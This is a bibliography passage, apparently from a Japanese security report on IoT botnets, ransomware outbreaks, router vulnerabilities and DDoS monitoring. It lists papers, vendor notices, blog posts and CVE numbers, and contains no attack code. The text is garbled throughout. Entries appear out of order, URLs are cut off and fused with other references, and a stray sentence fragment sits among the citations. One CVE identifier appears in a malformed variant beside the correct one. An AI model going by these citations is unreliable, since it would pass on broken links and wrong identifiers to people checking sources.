Hajime:Analysis of a decentralized internet worm for IoT devices. https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf.

参考⽂献[17] Masafumi Negishi. Hajime ボットの観測状況. https://sect.
iij.ad.jp/d/2017/09/293589.html.

悪⽤して様々な DoS 攻撃に⽤いるケースも多数発⽣していますので，各種観測で⾒えた事象の関連性分析なども[18] CVE-2017-10871.
CVE-2017-10871.

[1] サ イ バ ー セ キ ュ リ テ ィ 研 究 所 サ イ バ ー セ キ ュ リ テ ィ 研 究 室.
NICTER 観測レポート 2016. Technical report, 国⽴研究開発法⼈情報通信研究機構, 2017.

https://nvd.nist.gov/vuln/detail/[19] Allen D. Householder, Garret Wassermann, Art Manion,
Chris King. The CERT® Guide to Coordinated Vulnerability Disclosure. Technical report, Software Engineering
Institute, Carnegie Mellon University, 2017.

[2] Mirai:
what
you
need
to
know
about
the
botnetbehindrecentmajor
DDoS
attacks.
https://www.symantec.com/connect/blogs/
mirai-what-you-need-know-about-botnet-behind-\recent-major-ddos-attacks.

[20] NTT DOCOMO. 「Wi-Fi STATION L-02F」をご利⽤のお客様へ、ソフトウェアアップデート実施のお願い. https://www.
nttdocomo.co.jp/info/notice/page/170710_01_m.html.

[3] What you need to know about the WannaCry Ransomware.
https://www.symantec.com/blogs/threat-intelligence/wannacry-ransomware-attack.

[21] CVE-2014-8361.
CVE-2014-8361.

[4] Petya ransomware outbreak: Hereʼs what you need to know.
https://www.symantec.com/blogs/threat-intelligence/petya-ransomware-wiper.

https://nvd.nist.gov/vuln/detail/[22] (0Day) Realtek SDK miniigd AddPortMapping SOAP Action Command Injection Remote Code Execution Vulnerability. https://www.zerodayinitiative.com/advisories/
ZDI-15-155/.

[5] 新しい暗号化型ランサムウェア「Bad Rabbit」、ネットワー
ク経由で拡散、ウクライナとロシアなどで確認される. http://blog.trendmicro.co.jp/archives/16226.

[23] ロジテック製 300Mbps 無線 LAN ブロードバンドルータおよびセットモデル（全 11 モデル）に関する重要なお知らせとお願い.
http://www.logitec.co.jp/info/2017/1219.html.

[6] ラ ン サ ム ウ ェ ア 「WannaCry ／ Wcry」 に よ る 国 内 へ の 攻 撃を 16,436 件 確 認. http://blog.trendmicro.co.jp/archives/
14906.

[24] CVE-2017-17215. https://cve.mitre.org/cgi-bin/cvename.
cgi?name=CVE-2017-17215.

[7] 警察庁. ランサムウェア「WannaCry」の亜種に感染した PC からの感染活動とみられる 445/TCP ポート宛てアクセスの観測について. https://www.npa.go.jp/cyberpolice/detect/pdf/
20170622.pdf.
https://nvd.nist.gov/vuln/detail/[25] Security Notice - Statement on Remote Code Execution Vulnerability in Huawei HG532 Product.
http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en.

[9]「WannaCry」を拡散させた脆弱性攻撃「EternalBlue」の仕組みを解説. http://blog.trendmicro.co.jp/archives/15154.

[26] 横浜国⽴⼤学 情報・物理セキュリティ研究拠点. http://ipsr.
ynu.ac.jp/index.html.

[10] Hitachi Incident Response Team. HIRT-PUB17009：WannaCry によるネットワーク感染の様⼦. http://www.hitachi.co.
jp/hirt/publications/hirt-pub17009/.

[27] Lukas Krämer, Johannes Krupp, Daisuke Makita, Tomomi
Nishizoe, Takashi Koide, Katsunari Yoshioka, and Christian Rossow. Amppot: Monitoring and defending against
amplification ddos attacks. Research in Attacks, Intrusions,and Defenses (RAID2015), 2015.

[8] CVE-2017-01459.
CVE-2017-0145.

[11] Timeline:
Howthe
WannaCrycyber
attackspread.
https://www.ft.com/content/
82b01aca-38b7-11e7-821a-6027b8a20f23.
[12] Catalin Cimpanu.
Over 98% of All
naCry Victims Were Using Windows 7.
//www.bleepingcomputer.com/news/security/
over-98-percent-of-all-wannacry-victims-were-\using-windows-7/.

[28] AmpPot: Honeypot for Monitoring Amplification DDoS Attack. http://ipsr.ynu.ac.jp/dos/.

Wanhttps:[29] JPCERT/CC. Armada Collective を 名 乗 る 攻 撃 者 か らの DDoS 攻 撃 に 関 す る 情 報.
https://www.jpcert.or.jp/
newsflash/2017062901.html, 2017.
[30] Akamai.
Threat Advisory: #OpKillingBay Expands
https://www.akamai.com/
Targets Across Japan.
us/en/multimedia/documents/state-of-the-internet/
opkillingbay-expands-targets-across-japan-threat-advisory.
pdf, 2016.

[13] Pierre Kim. Multiple vulnerabilities found in Wireless
IP Camera (P2P) WIFICAM cameras and vulnerabilities
in custom http server. https://pierrekim.github.io/blog/
2017-03-08-camera-goahead-0day.html.
[14] 360 NetLab.
New Threat Report:
A new
IoT Botnet is Spreading over HTTP 81 on
http://blog.netlab.360.com/aLarge
Scale.

[31] MaxMind. GeoIP2 データベース. https://www.maxmind.
com/ja/geoip2-databases.

10

更新履歴
• 2018 年 2 ⽉ 27 ⽇： ポ ー ト 番 号 の 誤 植 を 修 正 しました11